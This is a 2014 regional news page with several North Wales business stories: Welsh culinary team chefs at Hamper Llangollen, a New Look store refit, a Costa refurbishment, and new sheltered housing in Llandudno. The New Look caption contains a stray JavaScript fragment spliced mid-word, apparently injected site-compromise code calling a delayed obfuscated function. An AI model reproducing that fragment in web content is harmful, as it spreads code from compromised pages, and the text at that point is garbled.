Category: News

Royal chefs star at top food festival

Graham 3 ceidiog

A trio of Wales’s best chefs will have a starring role at a top food festival – as they prepare to take on the world.

They will be hitting the culinary high notes at Hamper Llangollen that’s being held in the town on Saturday and Sunday, October 18 and 19.

At Hamper Llangollen, Graham Tinsley, executive chef at Carden Park in Cheshire and Conwy’s Castle Hotel, will be cooking up a Welsh feast with Mike Evans, hospitality lecturer at Coleg Llandrillo, Rhos on Sea, and Dion Jones, one of Europe’s finest young chefs.

Graham and Dion ceidiog

The event, hailed as one of the Top 10 food festivals in the UK, is supported by the rural development agency, Cadwyn Clwyd.

Cadwyn Clwyd’s contribution comes via the Rural Development Plan for Wales 2007-2013, which is funded by the European Agricultural Fund for Rural Development (EAFRD) and the Welsh Government.

The trio of chefs will be demonstrating the recipes that will be cooked by the team at the World Cup in Luxemburg when they will go head to head with the best culinary talents from around the globe.

Graham is just putting the finishing touches to the menus for the hot and cold dishes the culinary team – currently ranked seventh in the world – will be preparing at the World Cup.

But he is determined Welsh produce will feature strongly at Hamper Llangollen.

He said: “We always aim to showcase Welsh produce as part of what we are preparing. If we can’t buy it there, we take it with us.

“For Llangollen, we will also be going the stands of those exhibiting at the festival for inspiration. So when you see us cook the dishes, we will explain where you can buy the produce, whether it’s yoghurt, liquors or fresh vegetables. So you can buy the ingredients on the day and head home to make the dish for yourself,” said Graham, who was awarded an MBE in the Queen’s 80th birthday celebrations for his services to the food industry.

He has cooked for the Queen and members of the Royal family on numerous occasions, as well as the Emperor of Japan and European Heads of State at Cardiff Castle. Prince Charles, as patron of the Welsh National Culinary Team, has requested that they cook for him and his guests at every formal occasion in Wales and Graham was invited to attend his wedding celebration at Windsor Castle.

“We are hopeful of doing very well at the World Cup. When it was the Culinary Olympiad in 2012, we took silver and bronze, while at the last World Cup we picked up gold for the hot table and silver for the cold buffet.

“I’m just finalising what we will be cooking for the hot dishes this time, while I’ve got a little longer to think about the cold buffet. But it will definitely be a reflection of the great good and drink from Wales that’s available.”

One of Mike Evans’s latest graduates is off to join kitchen wizard Heston Blumental. His previous students include Bryn Williams from Denbigh, who runs London restaurant and celebrity favourite Odette’s and who is about to open his first Welsh venture, at Porth Eirias, Colwyn Bay.

Another ex-student is former Bodysgallen Hall chef David Kelman, who was among the four top chefs who beat 20 others to win a place cooking up a treat for D-Day veterans at the Royal Albert Hall in BBC1’s Great British Menu.

Mike is just back from cooking for his rugby heroes, Sam Warburton and Rupert Moon. He’s previously served up meals for the Queen, Prince Philip and Prince Charles, plus David Cameron and the First Minister of Wales, along with the elite of Moscow’s multi-millionaire business community.

Mike Evans, who now lives in Old Colwyn, is in charge of coaching the Welsh Culinary Team’s junior squad.

He added: “Catering is now seen as a very positive option to take – in September there will be around 80 students starting at Coleg Llandrillo, while a few years ago there would only have half that number.

“It is a tough life but it does have great rewards, and standards are certainly on the up. The TV shows certainly help, not only to demonstrate to young people how high they can aim, but to also show the quality of food that’s being produced in restaurants these days.

“The Culinary Team has taken me some great places, such as cooking for the Welsh Rugby Union – though most of the big names were in South Africa playing: we were catering for the injured ones left behind. But I’m a big rugby fan, and it was a real honour to be cooking for them.

“My time with the team has taken me to Cardiff to cook for Royalty for the opening of the Senedd building, when I got to meet the Queen, Prince Charles and Camilla. And I’ve been to Moscow where we were showcasing British products, such as Range Rover and Jaguar, with a very upmarket buffet for Russian business people.

“Students who are considering a career in catering can see that we are cooking at a very high standard,” added Mike, who is hopeful that another of his students will soon be seeing stars. Just weeks after graduating from Coleg Llandrillo Nick Rudge has just joined Heston Blumenthal’s team at the Michelin- starred Fat Duck in Bray.

Rising star Dion, 26, from Valley, Anglesey, and now living in Wrexham, became the first Briton to win the world’s oldest culinary competition, the International Escoffier Challenge in the South of France.

A finalist in the 2014 National Chef of the Year contest, he’s also gearing up for his second bid to win the prestigious Roux Scholarship, after being pipped at the post last time, when he was runner-up.

Cadwyn Clwyd’s Agri Food Officer, Robert Price, believes this year’s festival is going to be one of the best ever.

He said: “Thanks to a whole host of indigenous companies like Orchard Pigs, North East Wales is rapidly establishing a reputation as a centre of excellence for high quality cuisine.

“The food festival is a perfect shop window for the companies who form the backbone of our rural economy.

“The location of the Pavilion is absolutely spectacular – I can’t imagine that any other food festival in the UK has a more beautiful setting.”

For more information about Hamper Llangollen 2014 visit www.llangollenfoodfestival.com

Tuesday July 29th, 2014

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News

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New look New Look fashion store is a winner with Shrewsbury shoppers

New Look at Pride Hill in Shrewsbury has reopened after a refurbishment. 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if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tore.

A Shrewsbury shop has been chosen to be one of a fashion company’s flagship Concept stores.

New Look, in the town’s busy Pride Hill Shopping Centre, has had a total refit to become the latest of the company’s fleet of shops to be given a more premium and boutique feel.

It has also seen the staff equipped with iPads to help customers access the company’s entire range and order online in-store.

Manager Helen Done, who has been in charge for just over a year, said: “The new design is sophisticated and fashionable. The New Look branding has been simplified and modernised, aimed at reclaiming the essence of the name.

“The idea is to invite shoppers to browse at leisure, whilst providing inspirational fashion ideas in a relaxed environment.

“It’s been very popular since we opened and sales are going very well. Shrewsbury is a lovely place to work and we have a great team here and it’s a real achievement to be chosen as a Concept store.

“Most importantly the customers are enjoying the new look of New Look – they love it.”

The launch of the store, which employs 20 staff, was attended by New Look Managing Director Danny Barasso and Regional Business Manager Claire Smith.

Kevin Lockwood, Manager of the Darwin, Pride Hill and Riverside Shopping Centres, said: “New Look is one of the flagship fashion stores of British retail and a market leader in its niche and so it is important to us that we have a branch here in the Shrewsbury Shopping Centres.

“The newly-relaunched store has a real user friendly feel and provides a relaxed and pleasant atmosphere for shoppers and with the popularity of the New Look brand it’s bound to be a winning combination.”

Tuesday July 29th, 2014

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News

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Costa coffee shop at the Wrexham ODEON is set for £50,000 refurb

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A coffee shop is full of beans as it gets set for a £50,000 refurbishment – which could create two more jobs.

Costa at the ODEON cinema in Eagles Meadow shopping centre in Wrexham is going to be modernising its décor, replacing its furniture and expanding its capacity as a “thank you” to its customers.

ODEON Wrexham assistant manager Kenny Kempster said: “Costa has changed the design and the layout of how their stores look, with a new, more modern design. There will be more soft seating areas, with the inclusion of sofas, so people can enjoy a relaxing experience.

“We’re also extending the store to increase the amount of seating overall, taking over some of the cinema foyer area which will accommodate a further 30-40 seats in total, meaning that we can cater for more people – especially over the peak periods when Eagles Meadow is at its busiest.

“Costa performs very well for us as a business but also our guests enjoy the Costa experience and it’s great that we can make further improvements to their environment.”

Costa assistant manager Joanne Jubb added: “There is going to be new art work, and we’re going to get a big plant feature as well as the appointment of two new staff members.

“It’s very exciting, not for just ourselves but for our guests as well, and they’re already asking us about it. It’s a big vote of confidence in Costa, ODEON and in Wrexham.”

Eagles Meadow Manager Kevin Critchley added: “I am delighted that Costa is doing so well and I’m looking forward to enjoying a latte or two in the new-look coffee shop.”

Monday July 28th, 2014

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Welsh Government thumbs up for £5m eco-friendly homes in Llandudno

Cartrefi Conwy Cysgod y Gogarth (the redeveloped site of Llys Seiriol) in Llandudno. Minister for Housing and regeneration Carl Sargeant AM. Pictured are Delyth Davies, Minister for Housing and regeneration Carl Sargeant AM, Andrew Bowden, Wayne Bannister and Eiry Davies.

A Welsh Government Minister has set the seal of approval on a £5 million showcase development of eco-friendly sheltered homes in Llandudno.

Housing association Cartrefi Conwy is replacing two of its two ageing sheltered housing schemes in the town’s St Andrews’s Avenue – Llys Seiriol and the adjoining Llys Eryl.

They are being replaced by 26 new state-of-the-art apartments and four family homes which will also  be fitted with solar panels.

The ground-breaking development, which sets new standards in energy efficiency, has been planned with the emphasis firmly on how its residents want it look and be used and also aims to be a social hub for the wider community.

During a recent official visit to the region, Wales’s Minister for Housing and Regeneration, Carl Sargeant AM, was given a guided tour of the site where the development, to be named Cysgod y Gogarth, is rapidly taking shape ready for its opening next Spring.

Cartrefi Conwy Cysgod y Gogarth (the redeveloped site of Llys Seiriol) in Llandudno. Minister for Housing and regeneration Carl Sargeant AM with Andrew Bowers Cartrefi Conwy Chief Executive Officer

Mr Sargeant also presented an award to the scheme’s builders, Llysfaen-based RL Davies Construction Ltd, to mark its accreditation under the new BEFAIR scheme by the Construction Industry Training Board.

R.L. Davies are the first company in Wales to achieve the award which recognises companies committed to fairness, inclusion and respect within the workplace.

The Minister said: “This new build is really important, not just for the new homes it is creating but also for the economy of the area.

“The new scheme has provided an opportunity for regeneration which will not only enhance the lives of its residents and the local community but also the skill-set of individuals, including apprentices, who are working on the site.

“Being able to see the development has been a highlight of my trip to North Wales.”

The new development, designed by award-winning architects, will feature a total of 30 new homes, including a diverse mix of 26 apartments, of one and two bedrooms, plus four houses, two with two bedrooms and two with three bedrooms.

Fronting on to St Andrew’s Avenue and designed to give the outward appearance of a row of traditional terraced houses, the development will have ground, first and second floor levels, with the upper floors being served by a lift – something which the former blocks did not have.

The scheme will be set within landscaped gardens and have parking areas reserved for tenants and their guests.

Each home is designed to be fully accessible for disabled tenants, with a modern bathroom and fitted kitchen.

A key feature of the development is that it has been designed around a “community hub” area where residents can go to mingle with friends and enjoy a range of leisure facilities.  This area will also be available as a venue for local groups to host a range of events and activities.

Andrew Bowden, Chief Executive of Cartrefi Conwy, who greeted the Minister on site, described the development as a “showcase” for how a sheltered housing scheme of the future should be provided.

He said: “Our ambition for Cysgod y Gogarth has been to provide new, affordable and accessible accommodation for older people from the Conwy area and particularly Llandudno.

“Our intention has been to create homes where people can feel secure and which is also a hub for the whole community.

“It won’t just be a place for its residents to use but also groups from the wider community.

“It’s going to be a showcase to demonstrate that sheltered accommodation really has a future.

“We want it to have the wow factor and be somewhere special to live for a generation that deserves the best.”

Tenants of the old scheme were moved into temporary accommodation late last year and will be given the option of returning to the new development when it is ready. A significant number have opted for the new development.

According to Eiry Davies, Housing Projects Manager for Cartrefi Conwy, residents have been consulted about the new development.

She said: “It’s been very much an inclusive process with the tenants. We’ve held regular consultation events since we started work on the plan early last year.

“A steering group of local tenants and residents for Cysgod y Gogarth has been formed and its members will be taking decisions on its interior design, branding in terms of what its logo should be and general communications regarding the new development. They will also have a major say on what activities and events are held in the community hub, which will be available for the whole community to use.

“As part of the consultation process residents even chose the name of the development – which is Shadow of the Orme in English.

“We have about a dozen of the original residents coming back and we’re accepting applications for the remaining units, so we’re delighted that we will be welcoming both old and new residents to the development.”

Cysgod y Gogarth has set new standards for energy efficiency, as Wayne Bannister, Property Services Delivery Manager for Cartrefi Conwy, explained.

“We’ve incorporated a high level of insulation and fitting solar panels to the roof. These will generate a certain amount of free electricity as well as producing an income for Cartrefi Conwy.

“The development will have a combined heat and power system, which will not only provide heat to each flat but also the communal area. This is also capable of generating electricity.

“The whole thing has really set the energy efficiency benchmark for this kind of development.”

Cartrefi Conwy formulated the rebuilding plan after deciding that Llys Seiriol and Llys Eryl, which were both around 50 years old, did not meet Welsh Government housing standard.

Prys Jones, the quantity surveyor in charge of the project for RL Davies Construction Ltd, said work on Cysgod y Gogarth, which had a 52-week building period,  was right on schedule and was going precisely according to plan.

He said: “The whole project has been going very well and we’ve encountered no problems on site. That means we’re bang on schedule.”

Monday July 28th, 2014

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